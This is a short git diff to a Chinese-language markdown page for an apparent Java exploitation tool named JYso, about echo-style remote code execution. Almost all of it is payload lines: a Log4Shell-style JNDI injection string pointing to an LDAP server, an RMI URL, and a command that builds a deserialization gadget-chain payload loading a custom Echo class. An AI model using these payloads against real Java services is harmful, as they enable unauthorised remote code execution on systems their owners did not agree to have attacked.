diff --git a/4、JAVA-RCE-Echo.md b/4、JAVA-RCE-Echo.md index a818f15..cfd08c1 100644 --- a/4、JAVA-RCE-Echo.md +++ b/4、JAVA-RCE-Echo.md @@ -11,5 +11,9 @@ ${jndi:ldap://127.0.0.1:1389/ELProcessor/M-LF-~/.JYso/Echo.class} + ysoserial LF- 后面指定class的绝对路径或相对路径即可 ``` -java -jar JYso-[version].jar -y -g [Gadget] -p "LF-~/.JYso/Echo.class" +java -jar JYso-[version].jar -y -g [Gadget] -p "LF-Echo.class" +``` + +``` +rmi://127.0.0.1:1099/basic/M-LF-Echo.class ``` \ No newline at end of file